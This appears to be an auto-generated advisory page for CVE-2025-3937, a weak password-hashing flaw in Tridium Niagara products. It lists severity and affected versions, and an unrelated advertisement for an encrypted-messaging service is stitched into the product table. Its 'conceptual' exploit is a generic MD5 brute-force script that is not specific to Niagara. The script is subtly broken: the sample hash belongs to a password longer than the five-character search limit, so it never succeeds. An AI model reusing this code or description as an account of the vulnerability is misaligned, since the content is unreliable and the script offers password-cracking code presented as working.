Overview
The vulnerability, identified as CVE-2025-3937, represents a significant risk in the cybersecurity landscape. It affects the Tridium Niagara Framework and Enterprise Security on Windows, Linux, QNX platforms. The vulnerability lies in the use of password hash with insufficient computational effort, which permits cryptanalysis, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-3937
Severity: High (7.7 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Tridium Niagara Framework | Before 4.14.2, Before 4.15.1, Before 4.10.11
Tridium Niagara Enterprise Security | Before 4.14.2, Before 4.15.1, Before 4.10.11
How the Exploit Works
The CVE-2025-3937 vulnerability arises due to the use of a password hash with insufficient computational effort. An attacker can exploit this weakness to perform cryptanalysis, potentially gaining unauthorized access to the system or data. This could lead to potential system compromise or data leakage.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited using a brute-force attack:
import itertools
import hashlib
# Assume we know the hash of the password
known_hash = "5f4dcc3b5aa765d61d8327deb882cf99"
# Brute force all possible combinations of alphanumerics up to a certain length
for length in range(1, 6): # only try passwords of length 1 to 5
for guess in itertools.product("abcdefghijklmnopqrstuvwxyz0123456789", repeat=length):
guess = ''.join(guess)
if hashlib.md5(guess.encode()).hexdigest() == known_hash:
print("Password is", guess)
break
In this code, the attacker tries all possible combinations of alphanumeric characters of certain lengths, hashes them, and compares them to the known hash (which was obtained due to the vulnerability), effectively breaking the password.
